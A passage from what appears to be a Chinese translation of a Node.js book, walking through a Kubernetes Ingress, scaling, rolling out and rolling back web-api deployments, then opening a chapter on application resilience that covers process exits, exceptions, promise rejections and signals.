还有许多其他入口控制器,例如备受喜爱的 HAProxy(在“使用 HAProxy 进行反向代理”中介绍),尽管默认的 Nginx 选项由 Kubernetes 项目直接维护。不同的入口控制器支持不同的功能,但最终控制器会配置某种形式的反向代理,将传入的请求映射到服务。
通过启用入口,您可以通过向单个主机名发出 curl 请求来向 web-api 服务发出请求,而不必使用 minikube CLI 来定位服务的主机和端口。这使得更容易将外部客户端的请求路由到适当的节点和容器。
这些不同的 Kubernetes 资源之间的关系可能有点复杂。图 7-3 包含它们的视觉概览。外部请求通过 web-api-ingress 传递,然后传递给 web-api-service。该服务将请求传递给 web-api 中的一个 pod。然后 pod 发送请求给 recipe-api 服务,该服务然后将请求传递给 recipe-api 中的一个 pod。web-api 应用程序找到并与 recipe-api 应用程序通信的机制称为服务发现,主要由 Kubernetes 管理。

图 7-3. 服务发现概述
要让你的web-api服务适配 Kubernetes,首先需要创建一个 Dockerfile。之前,当你处理这个项目时,已经为应用的 Zipkin 变体创建了一个。这次,你需要为基本的 HTTP 服务器创建一个。对于这个 Dockerfile,你可以复制现有的recipe-api文件,并做一些修改。通过运行以下命令复制文件并进入web-api目录:
$ cp recipe-api/Dockerfile web-api/Dockerfile
$ cd web-api
接下来,修改web-api/Dockerfile的最后一行。当前它仍在引用旧的producer-http-basic.js文件,而应该改为引用consumer-http-basic.js文件:
CMD [ "node", "consumer-http-basic.js" ]
Dockerfile 搞定后,现在是创建 Kubernetes 配置文件的时候了。首先要定义部署的文件。创建一个名为web-api/web-api-deloyment.yml的新文件。它与你为recipe-api创建的文件相似,只是应用程序名称已更改为web-api。将示例 7-5 中的内容添加到文件中,以便开始工作。
示例 7-5. web-api/web-api-deployment.yml,第一部分
apiVersion: apps/v1
kind: Deployment
metadata:
name: web-api
labels:
app: web-api
spec:
replicas: 3 
selector:
matchLabels:
app: web-api
template:
metadata:
labels:
app: web-api
这次服务将有三个副本。
到目前为止一切顺利。现在是时候定义 Pod 的容器了。添加示例 7-6 中的内容以完成文件。请注意,第一行spec有四个空格的缩进,是前一个metadata字段的同级。
示例 7-6. web-api/web-api-deployment.yml,第二部分
#### note the four space indent
spec:
containers:
- name: web-api
image: web-api:v1
ports:
- containerPort: 1337
env: 
- name: TARGET
value: "recipe-api-service"
环境变量配置
部署配置文件的这一部分与先前的文件有所不同。最显著的是,你已经向容器配置添加了一个env部分。这直接对应你以前在直接运行 Docker 容器时使用的环境变量功能。在这种情况下,TARGET环境变量设置为recipe-api-service。
起初这可能看起来有些有趣。TARGET变量表示 URL 的主机部分。由于值设置为recipe-api-service而没有端口,这意味着应用程序请求的 URL 看起来像http://recipe-api-service:80/,因为 HTTP 使用默认端口 80。
在 Kubernetes 中运行的应用程序可以使用主机名与服务进行通信。这与 Docker 的工作方式非常类似,因为它们都使用 DNS 服务,只是 Docker 仅对在同一台机器上运行的容器有效。而 Kubernetes 则能够在集群的任何节点上实现此功能。这是因为每个节点上运行的 Kube Proxy 守护程序将请求转发到其他节点。在当前的单节点 Minikube 集群中,这种特性比较有限,但在更大的多节点 Kubernetes 集群中,效果更为显著。
现在您的部署配置文件已完成,可以修改您的网络配置文件。此文件将与您之前创建的文件类似。现在,将来自示例 7-7 的内容添加到文件中。
示例 7-7. web-api/web-api-network.yml,第一部分
apiVersion: v1
kind: Service
metadata:
name: web-api-service
spec:
type: NodePort
selector:
app: web-api
ports:
- port: 1337
此第一部分定义了一个名为web-api-service的服务,它将把传入的请求转发到端口 1337,以匹配web-api pods 中的端口 1337。
示例 7-8 包含了网络文件的第二部分,稍微复杂一些。在这种情况下,它以三个连字符(---)开头。这是一种 YAML 约定,用于指定同一文件中存在多个文档。基本上,这允许您在同一文件中连接相关的资源创建任务。将此内容添加到您的文件中。
示例 7-8. web-api/web-api-network.yml,第二部分
---
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
name: web-api-ingress
annotations: 
nginx.ingress.kubernetes.io/rewrite-target: /$1
spec:
rules: 
- host: example.org
http:
paths:
- path: /
backend:
serviceName: web-api-service
servicePort: 1337
提供了特定于 Nginx 的配置,如 URL 重写。
提供了额外的虚拟主机路由规则。
这个配置文件故意比必要的复杂,以展示如何通过入口控制器提供的反向代理进行非常精细的配置。
首先,注意metadata.annotations配置。在本例中,它有一个特定于 Nginx 的行,用于配置传入 URL 在传递到服务之前如何被重写。在这个例子中,从传入的 URL 路径不变地传递,并且事实上,整个annotations部分可以被移除而配置文件仍然可以工作。然而,在更复杂的组织中,您可能需要能够修改传入请求的能力。
第二组配置允许基于虚拟主机进行路由。这种配置是通用的,所有的入口控制器都应该能够使用它。在本例中,只有目标域为example.org的请求才会匹配该规则。配置变得更加复杂,匹配以/开头的路径(这实际上也是一个无操作)。最终,匹配的请求被传递给web-api-service。请注意,规则部分可以被大大简化,以便将任何主机名和路径的请求发送到同一个服务。通过配置入口控制器的这一部分,您可以应用 API 外观模式,使用单一接口公开多个后端服务。
现在,您的文件已配置完成,可以构建您web-api服务的镜像,并将其部署到您的 Kubernetes 集群中。
运行以下命令来执行这些操作:
$ eval $(minikube -p minikube docker-env) # ensure Minikube docker
$ docker build -t web-api:v1 .
$ kubectl apply -f web-api-deployment.yml
$ kubectl apply -f web-api-network.yml
同样,Pod 创建步骤可能需要一分钟完成。运行kubectl get pods命令,直到您新创建的web-api实例正在运行。完成后,您可以使用入口控制器发出请求。
要通过入口发出请求(而不是直接请求服务),你首先需要获取入口正在侦听的 IP 地址。运行以下命令以获取此地址:
$ kubectl get ingress web-api-ingress
当我运行命令时,我会得到以下输出:
NAME CLASS HOSTS ADDRESS PORTS AGE
web-api-ingress <none> example.org 172.17.0.3 80 21s
在我的情况下,我需要发送请求的 IP 地址是 172.17.0.3。如果你没有看到列出的 IP 地址,可能需要等一会儿,然后再次运行命令。此外,请注意端口设置为 80,这是 HTTP 入口的默认端口。
现在你已经准备好通过入口发出请求了。执行以下命令,将<INGRESS_IP>替换为你从上一个命令中获取的 IP 地址:
$ curl -H "Host: example.org" http://<INGRESS_IP>/
如果一切顺利,你将收到这本书中遍布的 JSON 负载。consumer_pid和producer_pid的值并不那么有趣,因为每个 Docker 容器都以进程 ID 为 1 运行你的应用程序。请放心,请求通过的两个不同的 Kubernetes 服务正在使用轮询算法将请求路由到各个 Pod。
入口控制器的 IP 地址将在 Kubernetes 集群的生命周期内保持稳定。尽管 Pod 将会启动和关闭,并获取新的 IP 地址,但入口的 IP 地址保持不变。
如果你愿意,你可以在你的机器上运行一个反向代理,接受从端口 80 进来的请求,并将请求代理到入口控制器的 IP 地址。这就是在生产中使用 Kubernetes 来暴露在集群中运行的应用程序的方式。
当然,并不是集群中的任何资源都通过入口暴露出来。相反,你必须明确定义哪些服务是公开的。这对于将浅层上游服务(如web-api)与内部下游服务(如recipe-api)分离非常有用。
修改部署
部署是你作为应用程序开发人员最有可能定期交互的资源。正如你在前面的章节中看到的,修改一个部署可能会触发对底层副本集和 Pod 的更改。
到目前为止,你处理过的所有部署都有名称。运行kubectl get deployments命令,你将看到返回的两个条目,一个名为recipe-api,另一个名为web-api。这些名称是直接由你运行的命令提供的。但是,依赖资源的名称稍微更动态一些。例如,在我的机器上,我的recipe-api部署有一个名为recipe-api-6fb656695f的副本集,而这个副本集又有一个名为recipe-api-6fb656695f-clvtd的 Pod。
由于部署有一个稳定的名称,你可以通过重新使用相同的名称来修改它。本节涵盖了作为应用程序开发人员可能会修改部署的几种常见方式。就像你使用配置文件或标准的kubectl命令部署应用程序时一样,你也可以使用这两种方法修改部署。
扩展应用实例
修改部署的最基本方式是扩展实例数量。在 Kubernetes 的术语中,应用程序的每个冗余实例称为副本。因此,当你扩展部署时,实际上是在更改该部署中 Pod 副本的数量。
您当前正在运行五个recipe-api应用程序的副本。运行以下命令获取你的 Pod 列表,将副本数扩展到 10,并获取新的 Pod 列表:
$ kubectl get pods -l app=recipe-api
$ kubectl scale deployment.apps/recipe-api --replicas=10
$ kubectl get pods -l app=recipe-api
在这种情况下,你应该看到 Kubernetes 正在创建五个新的 Pod,根据你运行最后一个命令的速度快慢,其中一些 Pod 的状态将显示为ContainerCreating。等待一段时间,再次运行最后一个命令,它们的状态应该会变为Running。
你可以修改该命令,将副本数设置回五个,但修改部署的另一种方式是可行的。首次创建部署时使用的recipe-api/recipe-api-deployment.yml文件也可以用来修改它。具体来说,当你运行kubectl apply命令时,它不仅仅限于创建资源。它实际上是指示 Kubernetes 集群进行必要的更改,以使其与指定配置文件中的资源定义相似。
在这种情况下,集群的状态目前与配置文件不同。具体来说,文件中希望有 5 个副本,但集群中却有 10 个副本。为了将副本数缩减回 5 个,请再次运行相同的kubectl apply命令:
$ kubectl apply -f recipe-api/recipe-api-deployment.yml
apply 命令的输出可以有三种形式:
deployment.apps/recipe-api created
deployment.apps/recipe-api configured
deployment.apps/recipe-api unchanged
运行kubectl apply时,你将会遇到如下第一行。此行表明已创建了一个新资源。然而,这次你应该会得到第二行输出。这行表示在配置文件中找到了表示资源的名称,并对资源进行了修改。如果集群当前已经与文件所需状态相似且无需操作,则会看到最后一行。请继续运行kubectl apply命令一次。这次你应该会得到未更改的行作为响应。
请注意,随着 Pod 副本数量的增减,服务仍然可以将请求路由到每个可用的 Pod。一旦 Pod 被终止,它就不应该再接收任何请求。一旦 Pod 被添加,它将等待健康检查通过(已为recipe-api启用),然后开始接收请求。
Kubernetes 具有一个名为水平 Pod 自动缩放器的高级功能。这用于根据各种标准(如 CPU 使用率)动态调整副本的数量,甚至根据您之前在“使用 Graphite、StatsD 和 Grafana 进行度量”中生成的自定义指标进行调整。这是 Kubernetes 支持的一个高级功能,您可以考虑在生产应用中使用,但这里不会涉及。
部署新应用程序版本
您可能也会发现自己处于需要部署应用程序的新版本的情况。由于 Kubernetes 处理封装在容器中的应用程序,这意味着构建应用程序的新版本的 Docker 镜像,将镜像推送到 Docker 服务器,然后指示 Kubernetes 根据镜像部署应用程序的新版本的容器。
当您部署应用程序的新版本时,您不希望终止旧的部署资源并创建新的资源。相反,您希望依附在其上并替换属于该部署的 pods。
在部署新版本的应用程序之前,您首先需要创建它。为了说明问题,您可以通过简单地向现有应用程序代码添加一个新的端点来实现这一点。运行以下命令来添加一个新的端点并构建web-api:v2版本的应用程序:
$ cd web-api
$ echo "server.get('/hello', async () => 'Hello');" \
>> consumer-http-basic.js
$ eval $(minikube -p minikube docker-env) # ensure Minikube docker
$ docker build -t web-api:v2 .
接下来,编辑web-api/web-api-deployment.yml文件。进入后,修改spec.template.spec.container.image属性,并将其从image: web-api:v1更改为image: web-api:v2。完成更改后,运行以下命令部署更改并观察 pods 部署:
$ kubectl apply -f web-api-deployment.yml
$ kubectl get pods -w -l app=web-api
-w标志告诉 Kubectl 监视对 Kubernetes 集群所做的更改,并且它将在对集群中的web-api pods 进行更改时继续输出。一旦进程最终完成,您可以使用 Ctrl + C 杀死监视操作。
图 7-4 显示了您在终端中应该看到的时间轴。首先,您有三个运行中的v1实例。当您运行命令应用部署时,新的v2 pods 被创建。最终,所需数量的v2 pods 被创建并被视为健康的。然后,Kubernetes 将服务从v1切换到v2。完成后,Kubernetes 处理v1 pods 的终止。最终,所有旧的 pods 都消失了,只剩下新的 pods 在运行。

图 7-4. 部署如何影响 pod 状态
此时,您可以通过使用现有的web-api-service服务向您的一个 pods 发送请求。
您可以通过运行以下命令来请求您新添加的/hello路由:
$ curl `minikube service web-api-service --url`/hello
您应该在终端中看到显示“Hello”的消息。
需要注意的是,当您部署了应用程序的新版本时,旧的复制集会被留下来!它已经更新为零的规模。当您运行以下命令列出您的复制集时,您可以看到这种情况发生:
$ kubectl get rs -l app=web-api
在我的情况下,我得到了以下的复制集:
NAME DESIRED CURRENT READY AGE
web-api-6cdc56746b 0 0 0 9m21s
web-api-999f78685 3 3 3 3m8s
这里新的复制集web-api-999f78685有三个实例,而旧的集合web-api-6cdc56746b则为零。当您读取集群中的 pod 列表时,您也可以看到这种情况发生。默认情况下,当它们作为部署的一部分创建时,pod 的命名模式如下:
复制集的名称实际上是相当一致的。例如,如果您修改web-api-deployment.yml文件,将其恢复为具有web-api:v1镜像的版本,则将再次使用先前的复制集,并将新的复制集缩减为零。
回滚应用程序部署
如果你和我一样,偶尔会合并一些糟糕的代码,忘记捕获异常,或者以其他方式发布一个有问题的应用程序版本到生产环境中。当发生这种情况时,这样一个破损的版本需要回滚到应用程序的已知良好的先前版本。将坏版本回滚到好版本的行为被称为回滚。
Docker 已经维护了先前镜像的列表,这很好,但是镜像并不包含表示容器所需的一切。例如,web-api服务需要一些元数据,例如环境变量和监听端口——这些在部署的 YAML 文件中定义。如果您丢失了这个 YAML 文件,只剩下 Docker 镜像,您能否确信您可以重建和部署一个正确配置的容器?如果您还在处理生产事故的压力会怎么样?
幸运的是,对于你和我来说,Kubernetes 保留了关于以前部署的信息。这使您可以通过执行几个命令回滚到先前的部署状态。
但首先,现在是时候发布一个有问题的应用程序。这个应用程序版本添加了一个新的端点/kill,导致进程立即退出。运行以下命令修改web-api服务以添加新路由,并构建新版本的容器:
$ cd web-api
$ echo "server.get('/kill', async () => { process.exit(42); });" \
>> consumer-http-basic.js
$ eval $(minikube -p minikube docker-env) # ensure Minikube docker
$ docker build -t web-api:v3 .
一旦您的镜像构建完成,您就可以执行另一个部署。再次编辑web-api-deployment.yml文件,这次将图像行从web-api:v2更改为web-api:v3。完成后,运行以下命令执行另一个部署:
$ kubectl apply -f web-api-deployment.yml --record=true
请注意,这次添加了--record=true标志。您将很快看到这个标志的用途。一旦应用程序的新版本部署完成,您就可以测试新的端点了。发出以下请求:
$ curl `minikube service web-api-service --url`/kill
一旦运行该命令,你应该会收到一个错误,curl 从服务器接收到一个空的回复。接下来,运行命令**kubectl get pods -l app=web-api**再次获取你的 pod 列表。当我运行这个命令时,我得到以下结果:
NAME READY STATUS RESTARTS AGE
web-api-6bdcb55856-b6rtw 1/1 Running 0 6m3s
web-api-6bdcb55856-ctqmr 1/1 Running 1 6m7s
web-api-6bdcb55856-zfscv 1/1 Running 0 6m5s
注意第二个条目的重启计数为一,而其他条目的重启计数为零。这是因为容器崩溃了,Kubernetes 自动为我重新启动了它。根据你运行命令的速度,你可能会看到重启计数设置为一,或者计数为零但状态为 Error——这表明 Kubernetes 尚未重新启动容器。
调查方法有些牵强,但在这一点上,你已确认应用程序的v3版本存在问题,应该回滚。在生产环境中,希望您能像在“使用 Cabot 进行警报”中设置的那样,主动接收警报。
Kubectl 提供了一个子命令用于查看部署历史记录。运行以下命令获取web-api部署的历史记录:
$ kubectl rollout history deployment.v1.apps/web-api
当我运行命令时,我得到以下结果:
REVISION CHANGE-CAUSE
7 <none>
8 <none>
9 kubectl apply --filename=web-api-deployment.yml --record=true
你应该从我这里得到与修订列中的三个不同值。在这种情况下,我可以看到有三个修订版,每个修订版都有一个递增的计数器来标识它,第三个修订版显示了我执行的命令。--record=true标志告诉 Kubectl 跟踪触发部署的命令。如果文件名包含应用程序版本,则此功能可能更有用,例如。
在我的情况下,修订号 9 是我所做的最后一个,这必须对应于应用程序的v3版本。因此,在部署工作版本的应用程序时,我需要从第 9 版回滚到第 8 版。
运行以下命令回滚应用程序部署,将<RELEASE_NUMBER>替换为列表中第二个版本号(在我的情况下是 8):
$ kubectl rollout undo deployment.v1.apps/web-api \
--to-revision=<RELEASE_NUMBER>
运行该命令后,你应该会得到输出消息deployment.apps/web-api已回滚。一旦发生这种情况,请再次运行**kubectl rollout history deployment.v1.apps/web-api**命令以查看你的部署列表。在我的情况下,我得到了以下列表:
REVISION CHANGE-CAUSE
7 <none>
9 kubectl apply --filename=web-api-deployment.yml --record=true
10 <none>
在此示例中,修订版 8 已从列表中移除,并作为修订版 10 移动到末尾。把它看作一个时间线,在时间线中,旧的修订版位于顶部,新的修订版位于底部,修订版计数始终增加,不列出重复的修订版。
为了证明 pod 已经回滚到应用程序的v2版本,请再次对/kill发出相同的 curl 请求。这次,而不是摧毁服务器,你应该会收到 404 错误。
就是这样,你成功地回滚了一个不良的应用程序部署!
现在你已经完成了 Kubernetes 的操作,可以选择让其在你的机器上保持运行,或者清理掉当前在后台运行的所有服务。个人认为,如果让其保持运行,会大大降低我的电池寿命。运行以下命令来删除你创建的所有 Kubernetes 对象:
$ kubectl delete services recipe-api-service
$ kubectl delete services web-api-service
$ kubectl delete deployment recipe-api
$ kubectl delete deployment web-api
$ kubectl delete ingress web-api-ingress
$ minikube stop
$ minikube delete
你还应该切换到运行minikube dashboard命令的终端,并用 Ctrl + C 终止它。
如果你使用 Docker Desktop,可能也想要禁用 Kubernetes。打开 GUI 首选项面板,进入 Kubernetes 部分,取消选中“启用 Kubernetes”选项,然后应用更改。
^(1) MacOS 变体还安装了 HyperKit hypervisor,这是后续使用 Ingress 功能所必需的。
第八章:弹性
本章重点讨论应用程序的弹性,即在可能导致失败的情况下仍能维持正常运行的能力。与专注于 Node.js 进程外部服务的其他章节不同,这一章大多数情况下着眼于进程内部。
应用程序应对某些类型的故障具备弹性。例如,像web-api这样的下游服务在无法与recipe-api这样的上游服务通信时,有许多可用的选项。也许它应该重试传出请求,或者可能应该用错误响应来回应传入请求。但无论如何,崩溃都不是最佳选择。同样,如果与有状态数据库的连接丢失,应用程序可能应该尝试重新连接,同时用错误响应来回应传入请求。另一方面,如果与缓存服务的连接断开,则最佳操作可能是像往常一样回应客户端,尽管速度较慢,以“降级”的方式。
在许多情况下,应用程序崩溃是必要的。如果发生了工程师没有预料到的故障——通常是全局性的进程问题,而不是与单个请求相关的——那么应用程序可能会进入受损状态。在这些情况下,最好记录堆栈跟踪,留下工程师的证据,然后退出。由于应用程序的短暂性质,它们保持无状态非常重要——这样做允许将来的实例从上次停下的地方继续进行。
谈到崩溃,应用程序可以有多种方式退出,无论是有意还是无意。在深入探讨应用程序如何保持存活和健康之前,了解这些方式是值得的。
Node.js 进程的死亡
Node.js 进程可以被终止的方式有很多种,不幸的是,有时 Node.js 对一些情况无能为力。例如,运行编译的 C++代码的本地模块可能会导致段错误,进程可能会收到SIGKILL信号,或者有人可能会绊倒服务器的电源线。建立能够抵御此类问题的系统至关重要。然而,对于 Node.js 进程本身,在这些情况下它无法做太多事情以防止自身的终止。
全局变量 process 是一个 EventEmitter 实例,当进程退出时通常会触发 exit 事件。可以监听此事件以执行最终的清理和日志记录工作。当触发此事件时只能执行同步工作。在像内存耗尽这样的灾难性事件中,进程终止时不一定会调用此事件。
当涉及到从内部有意终止进程(或阻止终止)时,有几种可用的选项。表格 8-1 包含了一些这些情况的列表。
表格 8-1. Node.js 内部终止
| 操作 | 示例 |
|---|---|
| 手动进程退出 | process.exit(1) |
| 未捕获的异常 | throw new Error() |
| 未处理的承诺拒绝^(a) | Promise.reject() |
| 忽略错误事件 | EventEmitter#emit('error') |
| 未处理的信号 | $ kill <PROCESS_ID> 没有信号处理程序 |
^(a) 从 Node.js v14.8 开始,必须提供 --unhandled-rejections=strict 标志才能使进程崩溃。未来版本的 Node.js 将默认崩溃。 |
此列表中的大多数条目直接处理失败场景,例如未捕获的异常、未处理的拒绝和错误事件。来自外部进程的信号接收是另一种有趣的情况。但是,这些情况中只有一个与干净且有意退出进程有关。
进程退出
process.exit(code) 方法是终止进程的最基本机制,在许多场景中非常有用,即使没有错误。例如,在构建 CLI 实用程序时,可能会依赖 process.exit() 来在完成给定任务后终止进程。这几乎像是一个功能强大的 return 语句。
code 参数^(1) 是在 0 和 255 范围内的数值 退出状态码。按照惯例,0 表示应用程序以健康的方式终止,任何非零数字表示发生了错误。不像 HTTP 有定义良好的数值状态码,没有必要为不同的非零退出值定义标准(相对于 HTTP 而言)。相反,通常由应用程序来记录不同的退出状态码的含义。例如,如果应用程序需要一组环境变量,而这些环境变量恰好缺失,则可能会退出并返回 1;如果期望找到缺失的配置文件,则可能退出并返回 2。
当调用 process.exit() 时,默认情况下不会打印任何消息到 stdout 或 stderr。相反,进程只是结束。因此,您可能希望在程序结束之前发出最后一条消息,以便运行应用程序的人了解出了什么问题。例如,运行以下代码:
$ node -e "process.exit(42)" ; echo $?
在这种情况下,您应该只会看到打印的数字 42。这个数字是由您的 shell 打印的,但是 Node.js 进程不会打印任何内容。但是出了什么问题呢?快速查看日志不会提供任何帮助。^(2)
这是一个应用程序可能采用的更详细的方法的示例,如果在配置错误时需要在启动时退出:
function checkConfig(config) {
if (!config.host) {
console.error("Configuration is missing 'host' parameter!");
process.exit(1);
}
}
在这种情况下,应用程序向 stderr 打印一条消息,这使得运行进程的人的生活更轻松。然后,进程以状态码 1 退出,这对于向机器传达进程失败的情况非常有用。当遇到 process.exit() 时,其后的所有代码都不会运行。它有效地终止了当前的堆栈,就像 return 语句一样(实际上,您的 IDE 可能会将此行后面的代码标记为死代码)。
提示
process.exit() 方法非常强大。虽然它在 Node.js 应用程序代码中有其用途,但几乎不应该在 npm 包中使用。库的使用者期望能够以自己的方式处理错误。
状态码在许多情况下都被使用。例如,在持续集成的单元测试运行时,非零的退出状态通知测试运行器(如 Travis CI)测试套件已失败。当然,手动在整个测试套件中添加 process.exit(1) 调用会很麻烦。幸运的是,测试套件运行器会为您处理这一切。事实上,任何时候应用程序抛出未被捕获的错误时,默认会产生退出状态 1。以下示例展示了这种情况:
$ node -e "throw new Error()" ; echo $?
在这种情况下,您应该看到打印的堆栈跟踪,然后在其自己的行上看到数字 1。抛出的错误需要更多讨论。
异常、拒绝和已发出的错误
对于早期启动错误,使用 process.exit() 是很好的,但有时您需要更多上下文信息。例如,在应用程序生命周期中间发生运行时错误,比如在请求处理程序中,发生的问题可能不是可预见的错误,比如缺少配置。相反,它可能是由于某些未经测试的逻辑分支或其他怪异边缘情况。当这种情况发生时,应用程序所有者需要知道问题发生的位置。这就是 Error 对象发挥作用的地方。
在讨论错误之前,定义一些术语是有用的,特别是因为它们经常被混淆:
错误
Error 是在所有 JavaScript 环境中可用的全局对象。当实例化 Error 时,会附加一些元数据,如错误的名称、消息和堆栈跟踪字符串。这些元数据作为结果对象的属性提供。仅仅实例化 Error 并不是件大事(虽然在生成堆栈跟踪时会有一些性能影响),并且尚未影响控制流程—这是稍后抛出时发生的事情。通常通过扩展 Error 来“子类化”错误,从而创建更具体的错误类型。
抛出
throw 关键字创建并抛出一个异常。当遇到其中之一时,当前函数将停止执行。异常然后通过调用你的函数的函数“冒泡”上升。这时候,JavaScript 会寻找包裹了浅层函数调用的任何 try/catch 语句。如果找到了一个,那么 catch 分支就会被调用。如果没有找到,那么该异常就被认为是未捕获的。
异常
Exception 是被抛出的一种东西。技术上你可以抛出任何东西,甚至是一个字符串或者 undefined。尽管如此,抛出任何不是 Error 类的实例或者其子类的东西通常被认为是不合适的。这也适用于拒绝 promises、提供错误参数给回调函数或者发出错误时。
拒绝
当 promise 失败或在 async 函数内抛出异常时,会发生拒绝。这个概念在本质上与异常相似,但需要以稍微不同的方式处理,因此它值得有自己的名称。
错误吞噬
捕获错误并完全忽视其结果,包括不将错误记录到控制台,被认为是“吞噬错误”。
当抛出异常或拒绝 promise 时,需要以某种方式处理它们。如果完全忽略它们,将导致应用程序崩溃——例如,未捕获的错误将使 Node.js 进程崩溃。吞噬错误是普遍被认为是一种不良实践,并将会给你带来麻烦。然而,在吞噬之前检查是否抛出了特定预期的错误,并不一定是世界末日。
考虑下面的吞噬错误的示例:
const lib = require('some-library');
try {
lib.start();
} catch(e) {} // Sometimes lib throws even though it works
lib.send('message');
在这种情况下,some-library 的作者决定抛出一个无害的错误,即使这个错误实际上并不影响库的操作。也许它在尝试连接的第一个数据库主机无法访问时抛出错误,尽管它可以连接到第二个主机。在这种情况下,catch 分支就吞噬了连接回退错误。不幸的是,它也抛出了 lib.start() 方法可能抛出的任何其他错误。
例如,你可能会发现当 some-library 升级后,它开始抛出另一个错误,一个很大的问题。通常这会导致数小时的调试,最终找到潜在问题的源头。因此,吞噬所有错误是不好的。
要只吞噬特定的错误,你可以改变代码,使其看起来像这样:
catch(e) {
if (e instanceof lib.Errors.ConnectionFallback) {
// swallow error
} else {
throw e; // re-throw
}
}
在这种情况下,异常仅在它是特定错误实例时被吞噬,否则会再次抛出。这个特定的例子假设库作者足够 thoughtful 以导出子类化的错误实例。不幸的是,这种情况经常不是这样(更不用说instanceof检查在复杂的 npm 包层次结构中可能会很棘手)。有时库作者可能会子类化错误但不导出它们。在这些情况下,您可以检查.name字段,例如使用e.name === 'ConnectionFallback'。
另一种约定——由 Node.js 本身推广用于区分错误的方法是提供一个.code属性,这是一个以文档化和一致方式命名的字符串,不应在发布之间更改。这种模式在包作者中并不那么流行,尽管当一个包暴露了一个 Node.js 产生的错误时,.code属性应该是存在的。
针对特定错误的最常见方法是解析实际的.message字段。这样做时,您的应用程序将需要检查人类可读的文本,例如使用e.message.startsWith('Had to fallback')。不幸的是,这种方法非常容易出错!错误消息经常有拼写错误,而善意的贡献者会不断提交 PR 以修复它们。这些更新通常作为 Semver 补丁发布,可能会破坏检查错误消息字符串的应用程序。
警告
不幸的是,在 Node.js 生态系统中,目前没有完美的解决方案来区分错误问题。作为包作者,始终要有意识地提供错误,并尝试导出错误子类或提供.code属性。作为模块消费者,为提供在同一操作中提供多个错误的库提交拉取请求,但没有程序化区分这些错误的机制。
当错误被抛出并且未被捕获时,错误的堆栈跟踪将被打印到控制台,并且进程以状态 1 退出。以下是未捕获异常的样子:
/tmp/error.js:1
throw new Error('oh no');
^
Error: oh no
at Object.<anonymous> (/tmp/foo.js:1:7)
... TRUNCATED ...
at internal/main/run_main_module.js:17:47
此输出已被截断,但堆栈跟踪表明错误发生在位于/tmp/error.js文件的第 1 行第 7 列。
有一种方法可以全局拦截任何未捕获的异常并运行函数。全局process对象是EventEmitter类的一个实例。它可以发出的众多事件之一是uncaughtException事件。如果监听此事件,则回调函数将被调用,并且进程本身不再自动退出。这对于在退出进程之前记录有关失败的信息非常有用,但绝不应该全局使用它来吞噬错误!错误应始终通过在适当的函数调用中使用 try/catch 语句进行上下文处理。
下面是处理程序可能用于记录最终警告消息的示例:
const logger = require('./lib/logger.js');
process.on('uncaughtException', (error) => {
logger.send("An uncaught exception has occured", error, () => {
console.error(error);
process.exit(1);
});
});
在这种情况下,logger 模块代表一个通过网络发送日志的库。在这里,异常被捕获;日志消息被传输;一旦发送完成,错误将打印到控制台并退出进程。假设在调用 logger.send() 后立即调用 process.exit() 可能导致消息在传输之前终止进程,这就是为什么需要等待回调的原因。虽然这是确保异步消息在终止进程之前发送的一种方式,但遗憾的是,应用程序可能仍然允许处理其他任务,因为导致第一个未捕获异常的原因可能会重复。
Promise 拒绝类似于异常。Promise 拒绝可以通过两种方式之一发生。第一种方式是直接调用 Promise.reject(),或者在 promise 链中(比如在 .then() 函数中)抛出错误。引起 Promise 拒绝的另一种方式是在 async 函数内部抛出错误(在 async 函数内部,JavaScript 语言改变了 throw 语句的语义)。以下两个示例都会导致等效的 Promise 拒绝(尽管堆栈跟踪略有不同):
Promise.reject(new Error('oh no'));
(async () => {
throw new Error('oh no');
})();
当一个 Promise 被拒绝时,打印的错误消息略有不同。截至 Node.js v14.8,它会显示一个警告:
(node:52298) UnhandledPromiseRejectionWarning: Error: oh no
at Object.<anonymous> (/tmp/reject.js:1:16)
... TRUNCATED ...
at internal/main/run_main_module.js:17:47
(node:52298) UnhandledPromiseRejectionWarning: Unhandled promise
rejection. This error originated either by throwing inside of an
async function without a catch block, or by rejecting a promise
which was not handled with .catch().
不同于未捕获的异常,Node.js v14 中的未处理的 Promise 拒绝不会导致进程崩溃。在 Node.js v15 及以上版本中,这将导致进程退出。可以通过在 v14 中运行 Node.js 二进制文件时使用 --unhandled-rejections=strict 标志来启用此行为。
与未捕获的异常类似,未处理的拒绝也可以通过 process 事件发射器监听。以下是它的使用示例:
process.on('unhandledRejection', (reason, promise) => {});
就像 uncaughtException 事件一样,不允许进程继续运行非常重要,因为它可能处于无效状态。考虑今天使用该标志运行您的 Node.js 进程,以帮助未来保护您的应用程序。如果在开发中运行应用程序时遇到这些未捕获的拒绝警告,您应该绝对跟踪它们并修复它们,以防止生产中的错误。
Node.js 和 npm 包生态系统都在经历过渡阶段。Node.js 最初是以回调模式为异步活动设计的,回调的第一个参数是一个错误。现在它正在适应 Promise/async 函数模式。今天构建的应用程序将不得不处理这两种模式。
EventEmitter 类可以通过 require('events').EventEmitter 获取,并且被许多其他类扩展和使用,包括核心 Node.js 模块以及在 npm 上可用的包。事件发射器非常受欢迎,并且遵循一种与本节中其他错误不同的模式,因此值得单独考虑。
如果 EventEmitter 的实例在没有监听器的情况下发出 error 事件,将导致进程终止。在这种情况下,基础的 EventEmitter 代码会抛出事件参数,或者如果参数丢失,则会抛出带有错误码 ERR_UNHANDLED_ERROR 的 Error。
当一个 EventEmitter 实例抛出这样的错误时,在进程退出之前,控制台将显示以下消息:
events.js:306
throw err; // Unhandled 'error' event
^
Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
at EventEmitter.emit (events.js:304:17)
at Object.<anonymous> (/tmp/foo.js:1:40)
... TRUNCATED ...
at internal/main/run_main_module.js:17:47 {
code: 'ERR_UNHANDLED_ERROR',
context: undefined
}
处理这些错误的适当方式是监听 error 事件,类似于在其他情况下捕获错误。^(3) 就像处理抛出的异常和 promise 拒绝一样,当发出错误时使用的参数(例如 EventEmitter#emit('error', arg))应该是 Error 类的实例。这样调用者可以获取有关失败的上下文信息。
信号
信号 是操作系统提供的一种机制,允许程序接收来自内核或其他程序的短“消息”。说是短,真的很短。信号只是一个发送的小数字,可用的信号种类不多。虽然信号在内部是以数字表示的,但通常使用字符串名称来引用它们。例如,SIGINT 和 SIGKILL 是其中两个比较常见的信号。
